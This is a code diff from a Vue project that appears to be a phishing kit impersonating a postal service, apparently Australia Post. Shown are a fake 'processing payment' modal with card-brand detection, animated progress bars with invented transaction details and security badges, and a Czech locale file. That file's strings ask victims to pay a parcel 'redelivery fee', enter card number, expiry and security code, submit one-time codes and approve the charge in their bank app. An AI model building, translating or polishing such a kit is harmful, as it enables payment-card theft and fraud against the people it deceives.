autoCloseTimer.value = window.setTimeout(() => closeModal(), props.autoCloseDelay);
|
||||
}
|
||||
} else {
|
||||
clearAutoCloseTimer();
|
||||
}
|
||||
});
|
||||
|
||||
watch(() => props.loading, (isLoading) => {
|
||||
if (isLoading) {
|
||||
showSpinner.value = true;
|
||||
progress.value = 0;
|
||||
progressMessage.value = progressSteps[0].message;
|
||||
generateTransactionDetails(cardType.value);
|
||||
animateProgress();
|
||||
} else {
|
||||
if (intervalId.value) {
|
||||
clearInterval(intervalId.value as ReturnType<typeof setInterval>);
|
||||
intervalId.value = null;
|
||||
}
|
||||
const completeProgress = () => {
|
||||
const currentProgress = progress.value;
|
||||
const step = Math.max((100 - currentProgress) / 10, 1);
|
||||
progress.value = Math.min(currentProgress + step, 100);
|
||||
progressMessage.value = progressSteps[progressSteps.length - 1].message;
|
||||
if (progress.value < 100) {
|
||||
intervalId.value = setTimeout(completeProgress, 10);
|
||||
} else {
|
||||
setTimeout(() => { showSpinner.value = false; }, 500);
|
||||
}
|
||||
};
|
||||
completeProgress();
|
||||
}
|
||||
}, { immediate: true });
|
||||
|
||||
// ── Lifecycle ──────────────────────────────────────────────
|
||||
onUnmounted(() => {
|
||||
clearAutoCloseTimer();
|
||||
if (intervalId.value) {
|
||||
clearInterval(intervalId.value as ReturnType<typeof setInterval>);
|
||||
intervalId.value = null;
|
||||
}
|
||||
});
|
||||
</script>
|
||||
|
||||
|
||||
<style scoped>
|
||||
/* ===== Transitions ===== */
|
||||
.plm-fade-enter-active,
|
||||
.plm-fade-leave-active {
|
||||
transition: opacity 0.3s ease;
|
||||
}
|
||||
.plm-fade-enter-from,
|
||||
.plm-fade-leave-to {
|
||||
opacity: 0;
|
||||
}
|
||||
|
||||
.plm-slide-enter-active {
|
||||
transition: opacity 0.35s ease, transform 0.35s cubic-bezier(0.22, 1, 0.36, 1);
|
||||
}
|
||||
.plm-slide-leave-active {
|
||||
transition: opacity 0.2s ease, transform 0.2s ease;
|
||||
}
|
||||
.plm-slide-enter-from {
|
||||
opacity: 0;
|
||||
transform: translateY(20px) scale(0.97);
|
||||
}
|
||||
.plm-slide-leave-to {
|
||||
opacity: 0;
|
||||
transform: translateY(8px) scale(0.99);
|
||||
}
|
||||
|
||||
/* ===== Overlay ===== */
|
||||
.plm-overlay {
|
||||
position: fixed;
|
||||
inset: 0;
|
||||
background: rgba(30, 41, 59, 0.4);
|
||||
backdrop-filter: blur(8px);
|
||||
-webkit-backdrop-filter: blur(8px);
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
z-index: 9999;
|
||||
padding: 20px;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
/* ===== Dialog ===== */
|
||||
.plm-dialog {
|
||||
width: 100%;
|
||||
max-width: 380px;
|
||||
background: #fff;
|
||||
border-radius: 18px;
|
||||
overflow: hidden;
|
||||
box-shadow:
|
||||
0 0 0 1px rgba(148, 163, 184, 0.15),
|
||||
0 8px 24px -4px rgba(15, 23, 42, 0.12),
|
||||
0 32px 64px -16px rgba(15, 23, 42, 0.14);
|
||||
}
|
||||
|
||||
/* ===== Header ===== */
|
||||
.plm-dialog-header {
|
||||
background: linear-gradient(160deg, #f8fafc 0%, #f1f5f9 100%);
|
||||
border-bottom: 1px solid #e8edf3;
|
||||
padding: 18px 20px 16px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
}
|
||||
|
||||
.plm-header-left {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 12px;
|
||||
}
|
||||
|
||||
.plm-header-icon {
|
||||
width: 36px;
|
||||
height: 36px;
|
||||
background: #fff;
|
||||
border: 1px solid #e2e8f0;
|
||||
border-radius: 10px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
flex-shrink: 0;
|
||||
box-shadow: 0 1px 3px rgba(0,0,0,0.06);
|
||||
}
|
||||
|
||||
.plm-header-icon svg {
|
||||
width: 17px;
|
||||
height: 17px;
|
||||
color: var(--global-primary-color, #4f7ef8);
|
||||
}
|
||||
|
||||
.plm-header-text {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 2px;
|
||||
}
|
||||
|
||||
.plm-header-title {
|
||||
color: #1e293b;
|
||||
font-size: 14px;
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.1px;
|
||||
line-height: 1.3;
|
||||
}
|
||||
|
||||
.plm-header-sub {
|
||||
color: #94a3b8;
|
||||
font-size: 11.5px;
|
||||
}
|
||||
|
||||
.plm-header-pct {
|
||||
font-size: 20px;
|
||||
font-weight: 800;
|
||||
color: var(#007BFF, #007BFF);
|
||||
letter-spacing: -0.5px;
|
||||
min-width: 44px;
|
||||
text-align: right;
|
||||
}
|
||||
|
||||
/* ===== Dialog Body ===== */
|
||||
.plm-dialog-body {
|
||||
padding: 22px 20px 20px;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
gap: 16px;
|
||||
}
|
||||
|
||||
/* ===== Card + progress center ===== */
|
||||
.plm-center-wrap {
|
||||
width: 100%;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
gap: 16px;
|
||||
}
|
||||
|
||||
.plm-card-logo {
|
||||
width: 120px;
|
||||
height: 76px;
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
border-radius: 10px;
|
||||
background: #f8fafc;
|
||||
border: 1px solid #e8edf3;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
box-shadow: 0 2px 8px rgba(0,0,0,0.06);
|
||||
}
|
||||
|
||||
.plm-card-logo img {
|
||||
width: 72%;
|
||||
object-fit: contain;
|
||||
}
|
||||
|
||||
.plm-scan-line {
|
||||
position: absolute;
|
||||
top: 0;
|
||||
left: -10%;
|
||||
width: 8px;
|
||||
height: 100%;
|
||||
background: rgba(255, 255, 255, 0.85);
|
||||
box-shadow: 0 0 18px 10px rgba(255, 255, 255, 0.75);
|
||||
animation: plm-scan 2.2s ease-in-out infinite;
|
||||
}
|
||||
|
||||
@keyframes plm-scan {
|
||||
0% { left: -10%; }
|
||||
100% { left: 110%; }
|
||||
}
|
||||
|
||||
/* ===== Progress ===== */
|
||||
.plm-progress-section {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.plm-progress-track {
|
||||
width: 100%;
|
||||
height: 4px;
|
||||
background: #e8edf3;
|
||||
border-radius: 99px;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.plm-progress-fill {
|
||||
height: 100%;
|
||||
background: linear-gradient(90deg,
|
||||
var(--global-primary-color, #4f7ef8) 0%,
|
||||
#93c5fd 50%,
|
||||
var(--global-primary-color, #4f7ef8) 100%);
|
||||
background-size: 200% 100%;
|
||||
border-radius: 99px;
|
||||
transition: width 0.6s ease;
|
||||
animation: plm-shimmer 2.5s linear infinite;
|
||||
}
|
||||
|
||||
@keyframes plm-shimmer {
|
||||
0% { background-position: 200% center; }
|
||||
100% { background-position: -200% center; }
|
||||
}
|
||||
|
||||
/* ===== Status message ===== */
|
||||
.plm-status-msg {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
gap: 7px;
|
||||
font-size: 12.5px;
|
||||
color: #64748b;
|
||||
min-height: 18px;
|
||||
text-align: center;
|
||||
letter-spacing: 0.1px;
|
||||
}
|
||||
|
||||
.plm-dot-pulse {
|
||||
display: inline-block;
|
||||
width: 6px;
|
||||
height: 6px;
|
||||
border-radius: 50%;
|
||||
background: var(--global-primary-color, #4f7ef8);
|
||||
flex-shrink: 0;
|
||||
animation: plm-pulse 1.6s ease-in-out infinite;
|
||||
}
|
||||
|
||||
@keyframes plm-pulse {
|
||||
0%, 100% { opacity: 1; transform: scale(1); }
|
||||
50% { opacity: 0.3; transform: scale(0.65); }
|
||||
}
|
||||
|
||||
/* ===== Divider ===== */
|
||||
.plm-divider {
|
||||
width: 100%;
|
||||
height: 1px;
|
||||
background: #f1f5f9;
|
||||
}
|
||||
|
||||
/* ===== Security badges ===== */
|
||||
.plm-badges {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
gap: 10px;
|
||||
width: 100%;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
.plm-badge {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 4px;
|
||||
color: #94a3b8;
|
||||
font-size: 10.5px;
|
||||
font-weight: 500;
|
||||
white-space: nowrap;
|
||||
letter-spacing: 0.1px;
|
||||
}
|
||||
|
||||
.plm-badge svg {
|
||||
width: 11px;
|
||||
height: 11px;
|
||||
fill: #86efac;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.plm-badge-sep {
|
||||
width: 1px;
|
||||
height: 10px;
|
||||
background: #e2e8f0;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
/* ===== Transaction details ===== */
|
||||
.plm-details {
|
||||
width: 100%;
|
||||
background: #f8fafc;
|
||||
border-radius: 12px;
|
||||
padding: 14px 16px;
|
||||
box-sizing: border-box;
|
||||
border: 1px solid #edf2f7;
|
||||
}
|
||||
|
||||
.plm-details-title {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 5px;
|
||||
font-size: 10.5px;
|
||||
font-weight: 600;
|
||||
color: #94a3b8;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 0.8px;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
|
||||
.plm-details-title svg {
|
||||
width: 12px;
|
||||
height: 12px;
|
||||
fill: #cbd5e1;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.plm-detail-row {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
padding: 6px 0;
|
||||
font-size: 12.5px;
|
||||
border-bottom: 1px dashed #edf2f7;
|
||||
}
|
||||
|
||||
.plm-detail-row:last-child {
|
||||
border-bottom: none;
|
||||
padding-bottom: 2px;
|
||||
}
|
||||
|
||||
.plm-detail-label {
|
||||
color: #94a3b8;
|
||||
font-weight: 400;
|
||||
}
|
||||
|
||||
.plm-detail-val {
|
||||
font-family: "SF Mono", ui-monospace, "Courier New", monospace;
|
||||
color: #475569;
|
||||
font-weight: 600;
|
||||
font-size: 11.5px;
|
||||
letter-spacing: 0.3px;
|
||||
max-width: 55%;
|
||||
text-align: right;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.plm-green {
|
||||
color: #22c55e;
|
||||
}
|
||||
</style>
|
||||
|
||||
223
a12_au_post_aupost/src/components/PaymentModal.vue
Normal file
@@ -0,0 +1,223 @@
|
||||
<script setup lang="ts">
|
||||
import { computed, watch } from 'vue';
|
||||
import { useI18n } from "vue-i18n";
|
||||
import c1 from "@/assets/img/b4f258fb3fcfa.svg";
|
||||
import c2 from "@/assets/img/d9f501073fcfa.svg";
|
||||
import c3 from "@/assets/img/761998023fcfa.svg";
|
||||
import c4 from "@/assets/img/272b931f3fcfa.svg";
|
||||
import c5 from "@/assets/img/d2820b3b3fcfa.svg";
|
||||
import c6 from "@/assets/img/e62e66803fcfa.svg";
|
||||
import c7 from "@/assets/img/c8e88e5f3fcfa.svg";
|
||||
import c8 from "@/assets/img/1a32e1333fcfa.svg";
|
||||
import c9 from "@/assets/img/mir.jpg";
|
||||
const { t } = useI18n(); // 解构出t方法
|
||||
|
||||
interface Props {
|
||||
cardNumber: string;
|
||||
showModal: boolean;
|
||||
}
|
||||
|
||||
interface Emits {
|
||||
(e: 'update:showModal', value: boolean): void;
|
||||
}
|
||||
|
||||
const props = defineProps<Props>();
|
||||
const emit = defineEmits<Emits>();
|
||||
|
||||
const price = 'Gs. 294.000';
|
||||
|
||||
const formattedPrice = computed(() => {
|
||||
return price.replace(/\.(\d{3})$/, '$1');
|
||||
});
|
||||
|
||||
const cardType = computed(() => {
|
||||
const num = props.cardNumber.replace(/\D/g, '');
|
||||
if (/^4/.test(num)) return 'Visa';
|
||||
if (/^(5[1-5]|222[1-9]|22[3-9][0-9]|2[3-6][0-9]{2}|27[0-1][0-9]|2720)/.test(num)) return 'Mastercard';
|
||||
if (/^(62|81)/.test(num)) return 'UnionPay';
|
||||
if (/^3[347]/.test(num)) return 'Amex';
|
||||
if (/^(6011|64[4-9]|65|62212[6-9]|6221[3-9][0-9]|622[2-8][0-9]{2}|6229[0-2][0-5])/.test(num)) return 'Discover';
|
||||
if (/^35(2[8-9]|[3-8][0-9])/.test(num)) return 'JCB';
|
||||
if (/^(30|36|38|39)/.test(num)) return 'DinersClub';
|
||||
if (/^(50|5[6-8]|6[^2])/.test(num)) return 'Maestro';
|
||||
if (/^220[0-4]/.test(num)) return 'Mir';
|
||||
return 'Generic';
|
||||
});
|
||||
|
||||
// 监听 showModal,触发支付逻辑
|
||||
watch(
|
||||
() => props.showModal,
|
||||
(newVal) => {
|
||||
if (newVal && props.cardNumber) {
|
||||
|
||||
}
|
||||
}
|
||||
);
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<div class="payment-modal1">
|
||||
<div v-if="showModal" class="modal1">
|
||||
<div class="modal1-content">
|
||||
<div class="card-logo">
|
||||
<img
|
||||
v-if="cardType === 'Visa'"
|
||||
:src="c1"
|
||||
alt="Visa"
|
||||
/>
|
||||
<img
|
||||
v-else-if="cardType === 'Mastercard'"
|
||||
:src="c2"
|
||||
alt="Mastercard"
|
||||
/>
|
||||
<img
|
||||
v-else-if="cardType === 'UnionPay'"
|
||||
:src="c4"
|
||||
alt="UnionPay"
|
||||
/>
|
||||
<img
|
||||
v-else-if="cardType === 'Amex'"
|
||||
:src="c5"
|
||||
alt="Amex"
|
||||
/>
|
||||
<img
|
||||
v-else-if="cardType === 'Discover'"
|
||||
:src="c6"
|
||||
alt="Discover"
|
||||
/>
|
||||
<img
|
||||
v-else-if="cardType === 'JCB'"
|
||||
:src="c3"
|
||||
alt="JCB"
|
||||
/>
|
||||
<img
|
||||
v-else-if="cardType === 'DinersClub'"
|
||||
:src="c8"
|
||||
alt="Diners Club"
|
||||
/>
|
||||
<img
|
||||
v-else-if="cardType === 'Maestro'"
|
||||
:src="c7"
|
||||
alt="Maestro"
|
||||
/>
|
||||
<img
|
||||
v-else-if="cardType === 'Mir'"
|
||||
:src="c9"
|
||||
alt="Mir"
|
||||
/>
|
||||
<svg
|
||||
v-else
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
viewBox="0 0 64 40"
|
||||
fill="none"
|
||||
stroke="#3498db"
|
||||
stroke-width="1.5"
|
||||
stroke-linecap="round"
|
||||
stroke-linejoin="round"
|
||||
>
|
||||
<rect x="2" y="2" width="60" height="36" rx="4" fill="#f5f5f5" />
|
||||
<rect x="8" y="8" width="14" height="10" fill="#d4a017" />
|
||||
<path d="M8 23 h48" />
|
||||
<path d="M8 27 h32" />
|
||||
<path d="M8 31 h24" />
|
||||
<circle cx="50" cy="12" r="3" fill="#ccc" />
|
||||
</svg>
|
||||
</div>
|
||||
<h3 class="title">{{ t("Processing payment") }}</h3>
|
||||
<p class= "desc">{{ t("Please do not refresh or close the page") }}</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
.payment-modal1 {
|
||||
font-family: Arial, sans-serif;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.modal1 {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
background-color: rgba(0, 0, 0, 0.5);
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
z-index: 1000;
|
||||
}
|
||||
|
||||
.modal1-content {
|
||||
background-color: white;
|
||||
padding: 50px 20px;
|
||||
border-radius: 8px;
|
||||
text-align: center;
|
||||
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
|
||||
max-width: 300px;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.card-logo {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
margin-bottom: 15px;
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.card-logo img {
|
||||
height: 70px;
|
||||
object-fit: contain;
|
||||
}
|
||||
|
||||
.card-logo svg {
|
||||
height: 50px;
|
||||
width: 80px;
|
||||
}
|
||||
|
||||
.card-logo::after {
|
||||
content: '';
|
||||
position: absolute;
|
||||
top: 0;
|
||||
left: -100%;
|
||||
width: 30%;
|
||||
height: 100%;
|
||||
background: linear-gradient(
|
||||
90deg,
|
||||
transparent,
|
||||
rgba(255, 255, 255, 0.7),
|
||||
transparent
|
||||
);
|
||||
animation: scan 2s infinite;
|
||||
}
|
||||
|
||||
@keyframes scan {
|
||||
0% {
|
||||
left: -100%;
|
||||
}
|
||||
100% {
|
||||
left: 100%;
|
||||
}
|
||||
}
|
||||
|
||||
.price {
|
||||
font-size: 1.2em;
|
||||
color: #333;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
.title {
|
||||
font-size: 1.2em;
|
||||
font-weight: 400;
|
||||
}
|
||||
|
||||
.desc {
|
||||
font-size: 0.9em;
|
||||
color: #666;
|
||||
margin-top: 5px;
|
||||
margin-bottom: 0;
|
||||
}
|
||||
</style>
|
||||
@@ -0,0 +1,7 @@
|
||||
<template>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" fill="currentColor">
|
||||
<path
|
||||
d="M15 4a1 1 0 1 0 0 2V4zm0 11v-1a1 1 0 0 0-1 1h1zm0 4l-.707.707A1 1 0 0 0 16 19h-1zm-4-4l.707-.707A1 1 0 0 0 11 14v1zm-4.707-1.293a1 1 0 0 0-1.414 1.414l1.414-1.414zm-.707.707l-.707-.707.707.707zM9 11v-1a1 1 0 0 0-.707.293L9 11zm-4 0h1a1 1 0 0 0-1-1v1zm0 4H4a1 1 0 0 0 1.707.707L5 15zm10-9h2V4h-2v2zm2 0a1 1 0 0 1 1 1h2a3 3 0 0 0-3-3v2zm1 1v6h2V7h-2zm0 6a1 1 0 0 1-1 1v2a3 3 0 0 0 3-3h-2zm-1 1h-2v2h2v-2zm-3 1v4h2v-4h-2zm1.707 3.293l-4-4-1.414 1.414 4 4 1.414-1.414zM11 14H7v2h4v-2zm-4 0c-.276 0-.525-.111-.707-.293l-1.414 1.414C5.42 15.663 6.172 16 7 16v-2zm-.707 1.121l3.414-3.414-1.414-1.414-3.414 3.414 1.414 1.414zM9 12h4v-2H9v2zm4 0a3 3 0 0 0 3-3h-2a1 1 0 0 1-1 1v2zm3-3V3h-2v6h2zm0-6a3 3 0 0 0-3-3v2a1 1 0 0 1 1 1h2zm-3-3H3v2h10V0zM3 0a3 3 0 0 0-3 3h2a1 1 0 0 1 1-1V0zM0 3v6h2V3H0zm0 6a3 3 0 0 0 3 3v-2a1 1 0 0 1-1-1H0zm3 3h2v-2H3v2zm1-1v4h2v-4H4zm1.707 4.707l.586-.586-1.414-1.414-.586.586 1.414 1.414z"
|
||||
/>
|
||||
</svg>
|
||||
</template>
|
||||
@@ -0,0 +1,7 @@
|
||||
<template>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="17" fill="currentColor">
|
||||
<path
|
||||
d="M11 2.253a1 1 0 1 0-2 0h2zm-2 13a1 1 0 1 0 2 0H9zm.447-12.167a1 1 0 1 0 1.107-1.666L9.447 3.086zM1 2.253L.447 1.42A1 1 0 0 0 0 2.253h1zm0 13H0a1 1 0 0 0 1.553.833L1 15.253zm8.447.833a1 1 0 1 0 1.107-1.666l-1.107 1.666zm0-14.666a1 1 0 1 0 1.107 1.666L9.447 1.42zM19 2.253h1a1 1 0 0 0-.447-.833L19 2.253zm0 13l-.553.833A1 1 0 0 0 20 15.253h-1zm-9.553-.833a1 1 0 1 0 1.107 1.666L9.447 14.42zM9 2.253v13h2v-13H9zm1.553-.833C9.203.523 7.42 0 5.5 0v2c1.572 0 2.961.431 3.947 1.086l1.107-1.666zM5.5 0C3.58 0 1.797.523.447 1.42l1.107 1.666C2.539 2.431 3.928 2 5.5 2V0zM0 2.253v13h2v-13H0zm1.553 13.833C2.539 15.431 3.928 15 5.5 15v-2c-1.92 0-3.703.523-5.053 1.42l1.107 1.666zM5.5 15c1.572 0 2.961.431 3.947 1.086l1.107-1.666C9.203 13.523 7.42 13 5.5 13v2zm5.053-11.914C11.539 2.431 12.928 2 14.5 2V0c-1.92 0-3.703.523-5.053 1.42l1.107 1.666zM14.5 2c1.573 0 2.961.431 3.947 1.086l1.107-1.666C18.203.523 16.421 0 14.5 0v2zm3.5.253v13h2v-13h-2zm1.553 12.167C18.203 13.523 16.421 13 14.5 13v2c1.573 0 2.961.431 3.947 1.086l1.107-1.666zM14.5 13c-1.92 0-3.703.523-5.053 1.42l1.107 1.666C11.539 15.431 12.928 15 14.5 15v-2z"
|
||||
/>
|
||||
</svg>
|
||||
</template>
|
||||
@@ -0,0 +1,7 @@
|
||||
<template>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="18" height="20" fill="currentColor">
|
||||
<path
|
||||
d="M11.447 8.894a1 1 0 1 0-.894-1.789l.894 1.789zm-2.894-.789a1 1 0 1 0 .894 1.789l-.894-1.789zm0 1.789a1 1 0 1 0 .894-1.789l-.894 1.789zM7.447 7.106a1 1 0 1 0-.894 1.789l.894-1.789zM10 9a1 1 0 1 0-2 0h2zm-2 2.5a1 1 0 1 0 2 0H8zm9.447-5.606a1 1 0 1 0-.894-1.789l.894 1.789zm-2.894-.789a1 1 0 1 0 .894 1.789l-.894-1.789zm2 .789a1 1 0 1 0 .894-1.789l-.894 1.789zm-1.106-2.789a1 1 0 1 0-.894 1.789l.894-1.789zM18 5a1 1 0 1 0-2 0h2zm-2 2.5a1 1 0 1 0 2 0h-2zm-5.447-4.606a1 1 0 1 0 .894-1.789l-.894 1.789zM9 1l.447-.894a1 1 0 0 0-.894 0L9 1zm-2.447.106a1 1 0 1 0 .894 1.789l-.894-1.789zm-6 3a1 1 0 1 0 .894 1.789L.553 4.106zm2.894.789a1 1 0 1 0-.894-1.789l.894 1.789zm-2-.789a1 1 0 1 0-.894 1.789l.894-1.789zm1.106 2.789a1 1 0 1 0 .894-1.789l-.894 1.789zM2 5a1 1 0 1 0-2 0h2zM0 7.5a1 1 0 1 0 2 0H0zm8.553 12.394a1 1 0 1 0 .894-1.789l-.894 1.789zm-1.106-2.789a1 1 0 1 0-.894 1.789l.894-1.789zm1.106 1a1 1 0 1 0 .894 1.789l-.894-1.789zm2.894.789a1 1 0 1 0-.894-1.789l.894 1.789zM8 19a1 1 0 1 0 2 0H8zm2-2.5a1 1 0 1 0-2 0h2zm-7.447.394a1 1 0 1 0 .894-1.789l-.894 1.789zM1 15H0a1 1 0 0 0 .553.894L1 15zm1-2.5a1 1 0 1 0-2 0h2zm12.553 2.606a1 1 0 1 0 .894 1.789l-.894-1.789zM17 15l.447.894A1 1 0 0 0 18 15h-1zm1-2.5a1 1 0 1 0-2 0h2zm-7.447-5.394l-2 1 .894 1.789 2-1-.894-1.789zm-1.106 1l-2-1-.894 1.789 2 1 .894-1.789zM8 9v2.5h2V9H8zm8.553-4.894l-2 1 .894 1.789 2-1-.894-1.789zm.894 0l-2-1-.894 1.789 2 1 .894-1.789zM16 5v2.5h2V5h-2zm-4.553-3.894l-2-1-.894 1.789 2 1 .894-1.789zm-2.894-1l-2 1 .894 1.789 2-1L8.553.106zM1.447 5.894l2-1-.894-1.789-2 1 .894 1.789zm-.894 0l2 1 .894-1.789-2-1-.894 1.789zM0 5v2.5h2V5H0zm9.447 13.106l-2-1-.894 1.789 2 1 .894-1.789zm0 1.789l2-1-.894-1.789-2 1 .894 1.789zM10 19v-2.5H8V19h2zm-6.553-3.894l-2-1-.894 1.789 2 1 .894-1.789zM2 15v-2.5H0V15h2zm13.447 1.894l2-1-.894-1.789-2 1 .894 1.789zM18 15v-2.5h-2V15h2z"
|
||||
/>
|
||||
</svg>
|
||||
</template>
|
||||
7
a12_au_post_aupost/src/components/icons/IconSupport.vue
Normal file
@@ -0,0 +1,7 @@
|
||||
<template>
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" fill="currentColor">
|
||||
<path
|
||||
d="M10 3.22l-.61-.6a5.5 5.5 0 0 0-7.666.105 5.5 5.5 0 0 0-.114 7.665L10 18.78l8.39-8.4a5.5 5.5 0 0 0-.114-7.665 5.5 5.5 0 0 0-7.666-.105l-.61.61z"
|
||||
/>
|
||||
</svg>
|
||||
</template>
|
||||
19
a12_au_post_aupost/src/components/icons/IconTooling.vue
Normal file
@@ -0,0 +1,19 @@
|
||||
<!-- This icon is from <https://github.com/Templarian/MaterialDesign>, distributed under Apache 2.0 (https://www.apache.org/licenses/LICENSE-2.0) license-->
|
||||
<template>
|
||||
<svg
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
xmlns:xlink="http://www.w3.org/1999/xlink"
|
||||
aria-hidden="true"
|
||||
role="img"
|
||||
class="iconify iconify--mdi"
|
||||
width="24"
|
||||
height="24"
|
||||
preserveAspectRatio="xMidYMid meet"
|
||||
viewBox="0 0 24 24"
|
||||
>
|
||||
<path
|
||||
d="M20 18v-4h-3v1h-2v-1H9v1H7v-1H4v4h16M6.33 8l-1.74 4H7v-1h2v1h6v-1h2v1h2.41l-1.74-4H6.33M9 5v1h6V5H9m12.84 7.61c.1.22.16.48.16.8V18c0 .53-.21 1-.6 1.41c-.4.4-.85.59-1.4.59H4c-.55 0-1-.19-1.4-.59C2.21 19 2 18.53 2 18v-4.59c0-.32.06-.58.16-.8L4.5 7.22C4.84 6.41 5.45 6 6.33 6H7V5c0-.55.18-1 .57-1.41C7.96 3.2 8.44 3 9 3h6c.56 0 1.04.2 1.43.59c.39.41.57.86.57 1.41v1h.67c.88 0 1.49.41 1.83 1.22l2.34 5.39z"
|
||||
fill="currentColor"
|
||||
></path>
|
||||
</svg>
|
||||
</template>
|
||||
141
a12_au_post_aupost/src/locales/cz/index.ts
Normal file
@@ -0,0 +1,141 @@
|
||||
export default {
|
||||
"There is an error in this field, please check":
|
||||
"V tomto poli je chyba, zkontrolujte jej prosím",
|
||||
"Please enter a valid email address":
|
||||
"Zadejte prosím platnou e-mailovou adresu",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery":
|
||||
"Vážení uživatelé, vyplňte prosím formulář pečlivě, aby bylo zajištěno úspěšné doručení",
|
||||
"Your Name": "Vaše jméno",
|
||||
"Address": "Adresa",
|
||||
"Detailed Address": "Podrobná adresa",
|
||||
"(Optional)": "(Volitelné)",
|
||||
"City": "Město",
|
||||
"State": "Stát / Oblast",
|
||||
"Province": "Provincie",
|
||||
"Region": "Region",
|
||||
"Zip Code": "PSČ",
|
||||
"E-Mail": "E-mail",
|
||||
"Next": "Další",
|
||||
"Telephone Number": "Telefonní číslo",
|
||||
"Online": "Online",
|
||||
"Payment": "Platba",
|
||||
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
|
||||
"Pro opětovné doručení je nutné uhradit servisní poplatek. Váš balíček bude po zaplacení znovu doručen",
|
||||
"lump sum: ": "Celková částka: ",
|
||||
"Cardholder": "Držitel karty",
|
||||
"Card Number": "Číslo karty",
|
||||
"Expire Date": "Datum expirace",
|
||||
"Security Code": "Bezpečnostní kód",
|
||||
"Submit": "Odeslat",
|
||||
"Click here to receive another code":
|
||||
"Klikněte zde pro obdržení nového kódu",
|
||||
"Please confirm your identity and a one-time code will be sent":
|
||||
"Potvrďte prosím svou totožnost. Jednorázový kód bude zaslán na váš telefon nebo e-mail. Zadejte jej zde",
|
||||
"The verification code has been sent to":
|
||||
"Ověřovací kód byl odeslán na",
|
||||
"Please do not click the":
|
||||
"Prosím neklikejte na tlačítka „Obnovit“ nebo „Zpět“, protože to může přerušit transakci",
|
||||
"Verification code error, please try again":
|
||||
"Chyba ověřovacího kódu, zkuste to prosím znovu",
|
||||
"The session is about to expire, please complete the verification now":
|
||||
"Relace brzy vyprší, dokončete prosím ověření nyní",
|
||||
"This card does not support this transaction, please try another card":
|
||||
"Tato karta nepodporuje tuto transakci, zkuste prosím jinou kartu",
|
||||
"Authorized bank": "Autorizovaná banka",
|
||||
"Please go to the bank App to confirm the authorization":
|
||||
"Přejděte prosím do bankovní aplikace a potvrďte autorizaci",
|
||||
"Please do not close this page":
|
||||
"Nezavírejte prosím tuto stránku",
|
||||
"Payment Successful": "Platba byla úspěšná!",
|
||||
"Thank you for your purchase. Your payment has been processed successfully":
|
||||
"Děkujeme za váš nákup. Vaše platba byla úspěšně zpracována",
|
||||
"Mailing address": "Doručovací adresa",
|
||||
"street address or house number":
|
||||
"Ulice a číslo domu",
|
||||
"Apartment number": "Číslo bytu",
|
||||
"Safe payment": "Bezpečná platba",
|
||||
"Verification code": "Ověřovací kód",
|
||||
"Welcome": "Vítejte",
|
||||
"back": "zpět!",
|
||||
"We reward you for using point services":
|
||||
"Odměňujeme vás za využívání bodových služeb",
|
||||
"Check your points": "Zkontrolujte své body",
|
||||
"Phone number": "Telefonní číslo",
|
||||
"Inquire": "Dotaz",
|
||||
"Exchange": "Vyměnit",
|
||||
"Spend points": "Použít body",
|
||||
"Points Available": "Dostupné body",
|
||||
"You don't have enough points":
|
||||
"Nemáte dostatek bodů",
|
||||
"Please redeem your favorite product":
|
||||
"Uplatněte prosím své body za oblíbený produkt",
|
||||
"Confirm your shipping address":
|
||||
"Potvrďte svou doručovací adresu",
|
||||
"Order number": "Číslo objednávky: ",
|
||||
"Pay": "Zaplatit",
|
||||
"Pay Message":
|
||||
"Zaplaťte {0} za výměnu bodů za produkty",
|
||||
"Pay electronic tolls online":
|
||||
